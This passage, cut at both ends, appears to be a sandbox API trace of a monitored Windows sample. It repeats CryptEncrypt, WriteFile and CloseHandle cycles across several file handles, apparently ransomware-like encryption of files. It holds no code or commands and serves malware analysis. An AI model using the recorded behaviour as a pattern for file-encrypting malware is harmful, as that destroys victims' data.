lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.237] CloseHandle (hObject=0x3008) returned 1 [0234.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.379] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.380] WriteFile (in: hFile=0x3008, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.380] CloseHandle (hObject=0x3008) returned 1 [0234.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.427] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.428] WriteFile (in: hFile=0x3008, lpBuffer=0x39984b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.428] CloseHandle (hObject=0x3008) returned 1 [0234.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.431] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.431] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.431] CloseHandle (hObject=0x3008) returned 1 [0234.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.435] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.435] WriteFile (in: hFile=0x3008, lpBuffer=0x3998660*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998660*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.435] CloseHandle (hObject=0x3008) returned 1 [0234.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af99a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af99a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.438] WriteFile (in: hFile=0x3008, lpBuffer=0x3af99a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af99a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.439] WriteFile (in: hFile=0x3008, lpBuffer=0x3998570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.439] CloseHandle (hObject=0x3008) returned 1 [0234.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.445] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.446] WriteFile (in: hFile=0x3008, lpBuffer=0x3998670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.446] CloseHandle (hObject=0x3008) returned 1 [0234.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.448] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.449] WriteFile (in: hFile=0x3008, lpBuffer=0x39984c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.449] CloseHandle (hObject=0x3008) returned 1 [0234.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.451] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.452] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.452] CloseHandle (hObject=0x3008) returned 1 [0234.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.455] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.455] WriteFile (in: hFile=0x3008, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.455] CloseHandle (hObject=0x3008) returned 1 [0234.508] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.508] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.508] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.509] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.509] CloseHandle (hObject=0x3008) returned 1 [0235.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.623] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.623] WriteFile (in: hFile=0x306c, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.623] WriteFile (in: hFile=0x306c, lpBuffer=0x39985a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.624] CloseHandle (hObject=0x306c) returned 1 [0235.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.723] WriteFile (in: hFile=0x30bc, lpBuffer=0x3afad40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afad40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.723] WriteFile (in: hFile=0x30bc, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.723] CloseHandle (hObject=0x30bc) returned 1 [0235.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb058*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb058*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.732] WriteFile (in: hFile=0x30bc, lpBuffer=0x3afb058*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.732] WriteFile (in: hFile=0x30bc, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.732] CloseHandle (hObject=0x30bc) returned 1 [0235.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9ed0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9ed0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.736] WriteFile (in: hFile=0x30bc, lpBuffer=0x3af9ed0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9ed0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.736] WriteFile (in: hFile=0x30bc, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.736] CloseHandle (hObject=0x30bc) returned 1 [0235.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9bb8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9bb8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.738] WriteFile (in: hFile=0x30bc, lpBuffer=0x3af9bb8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9bb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.738] WriteFile (in: hFile=0x30bc, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.739] CloseHandle (hObject=0x30bc) returned 1 [0235.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa500*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa500*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.741] WriteFile (in: hFile=0x30bc, lpBuffer=0x3afa500*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa500*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.741] WriteFile (in: hFile=0x30bc, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.741] CloseHandle (hObject=0x30bc) returned 1 [0235.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9cc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9cc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.744] WriteFile (in: hFile=0x30bc, lpBuffer=0x3af9cc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9cc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.744] WriteFile (in: hFile=0x30bc, lpBuffer=0x3998480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998480*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.744] CloseHandle (hObject=0x30bc) returned 1 [0235.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb898*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb898*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.746] WriteFile (in: hFile=0x30bc, lpBuffer=0x3afb898*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb898*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.747] WriteFile (in: hFile=0x30bc, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.747] CloseHandle (hObject=0x30bc) returned 1 [0235.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9bb8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9bb8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.757] WriteFile (in: hFile=0x30d4, lpBuffer=0x3af9bb8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9bb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.757] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.757] CloseHandle (hObject=0x30d4) returned 1 [0235.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.765] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afa2f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa2f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.766] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.766] CloseHandle (hObject=0x30d4) returned 1 [0235.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.769] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afad40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afad40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.769] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.769] CloseHandle (hObject=0x30d4) returned 1 [0235.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa3f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa3f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.778] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afa3f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa3f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.778] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998550*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.778] CloseHandle (hObject=0x30d4) returned 1 [0235.781] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.782] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.782] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afb580*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb580*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.782] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.782] CloseHandle (hObject=0x30d4) returned 1 [0235.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0235.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa920*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa920*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0235.785] WriteFile (in: hFile=0x30d4, lpBuffer=0x3afa920*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa920*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0235.786] WriteFile (in: hFile=0x30d4, lpBuffer=0x3998610*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998610*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0235.786] CloseHandle (hObject=0x30d4) returned 1 [0235.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, 